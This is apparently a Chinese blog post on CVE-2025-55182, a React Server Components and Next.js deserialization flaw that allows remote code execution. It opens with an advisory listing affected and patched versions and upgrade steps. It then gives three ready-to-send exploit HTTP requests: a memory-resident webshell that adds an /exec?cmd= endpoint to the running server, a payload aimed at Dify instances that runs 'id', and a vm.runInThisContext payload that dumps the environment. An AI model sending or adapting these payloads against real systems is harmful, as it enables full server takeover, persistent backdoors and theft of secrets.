CVE-2025-55182:React Server Components 断点跟踪

漏洞概述

React Server Components(RSC)架构中披露了关键的安全漏洞,其对应的CVE编号为 CVE-2025-55182 。同时,基于此架构的Next.js App Router也受到直接影响,被分配了漏洞编号 CVE-2025-66478 。这两个漏洞均源于React在服务器端反序列化客户端请求时存在安全缺陷,未经身份验证的远程攻击者可通过向服务器函数端点发送特制的恶意HTTP请求,在目标服务器上实现远程代码执行(RCE),从而可能完全控制服务器。【CVE-2025-66478与 CVE-2025-55182重复了被CVE撤回了】

技术原理

该漏洞的根本原因在于React服务器组件库(react-server-dom-*)在解码并处理客户端发送至服务器函数端点的序列化请求负载时,未能对输入数据进行充分的安全验证和净化。攻击者可利用此缺陷,构造恶意的序列化数据,在反序列化过程中触发原型链污染、或间接调用危险模块(如child_process、vm等),从而绕过安全限制,在服务器上下文执行任意操作系统命令或代码。

漏洞风险
  • 风险等级: 高风险
  • 风险详情: 任何未及时修复的、启用了React服务器组件或服务器函数端点的应用都可能遭受攻击。攻击者无需任何认证即可利用此漏洞,导致服务器被完全控制、数据泄露、服务中断等严重后果。目前漏洞细节与验证代码(PoC)已在互联网上公开,进一步增加了被大规模利用的风险。
受影响版本

该漏洞影响React生态系统中的多个核心包及Next.js框架,具体受影响版本如下:

1. React 及相关服务器端渲染包:

  • react: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-dom: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
  • react-server-dom-webpack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0

2. Next.js(使用App Router):

  • 14.3.0-canary.77 至 15.0.4 之间的Canary版本
  • 15.1.0 至 15.1.8
  • 15.2.0 至 15.2.5
  • 15.3.0 至 15.3.5
  • 15.4.0 至 15.4.7
  • 15.5.0 至 15.5.6
  • 16.0.0 至 16.0.6
安全版本

请将相关依赖升级至以下或更高的安全版本:

  • React系列:
    • react & react-dom: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-parcel: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-turbopack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
    • react-server-dom-webpack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
  • Next.js:
    • 请根据当前使用的主版本,升级至对应的最新补丁版本:15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 或更高。
    • 若正在使用 14.3.0-canary.77 或更高版本的Canary版本,强烈建议降级回最新的稳定 14.x 版本。
修复建议
  1. 立即升级:评估您的业务系统是否使用了受影响版本的React或Next.js。如果是,请立即安排升级至上述安全版本。升级前请务必做好数据备份和测试。
  2. 升级命令参考 :
    • Next.js用户 :根据您的版本,运行类似 npm install next@15.0.5 的命令。
    • React Router / 直接使用RSC API的用户 :升级所有相关包至最新版:react, react-dom, react-server-dom-webpack 等。
    • 其他框架用户 (如Expo, Waku, Redwood):请参照官方通告,升级对应的 react-server-dom-* 包至最新版本。
  3. 官方参考 :

请您及时开展安全自查,如在受影响范围内,务必尽快进行更新修复,以避免被外部攻击者入侵。

内存马

bash 复制代码
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
利用方法:/exec?cmd=whoami

dify

bash 复制代码
POST /apps HTTP/1.1
Host: ip:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: 7a3f9c1e
X-Nextjs-Html-Request-Id: 9bK2mPqRtVwXyZ3$@!sT7u
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Connection: close
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Length: 581

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

paylaod:

javascript 复制代码
POST /formaction HTTP/1.1
Host: 192.168.50.243:3002
Accept-Encoding: identity
User-Agent: Python-urllib/3.9
Content-Type: multipart/form-data; boundary=----BoundaryCVE202555182
Content-Length: 318

------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_REF_0"


------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_0:0"

{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"set\").toString()"]}
------BoundaryCVE202555182--
相关推荐
子兮曰4 天前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
子兮曰4 天前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
前端小万4 天前
写公众号赚了 3000 块后,我做了一款叫 "一键成稿" 的软件
前端·微信小程序
爱勇宝4 天前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
三十而立洋4 天前
Cookie 详解:从产生到安全,一次讲透
前端·javascript
卡布鲁4 天前
把一个 Vite + Vue3 应用塞进 qiankun (React + Umi3) 主站:十个坑的复盘
前端·javascript·react.js
汉堡大王95274 天前
Jev:不是聊天机器人, 而是一个智能 if 语句
前端·人工智能·后端
梦想很大很大4 天前
从运行事实到回归证据:Workrun 的 Telemetry 与 Evaluation 实践
前端·人工智能·后端
计算机魔术师4 天前
Meta Muse agent 接入 Shopify 的 Shop Pay 实现代理式购物
前端
沙蒿同学4 天前
我用 Go 搭了一条 AI Agent 流水线:从 1 张商品图到一整套淘宝详情页
前端·javascript·后端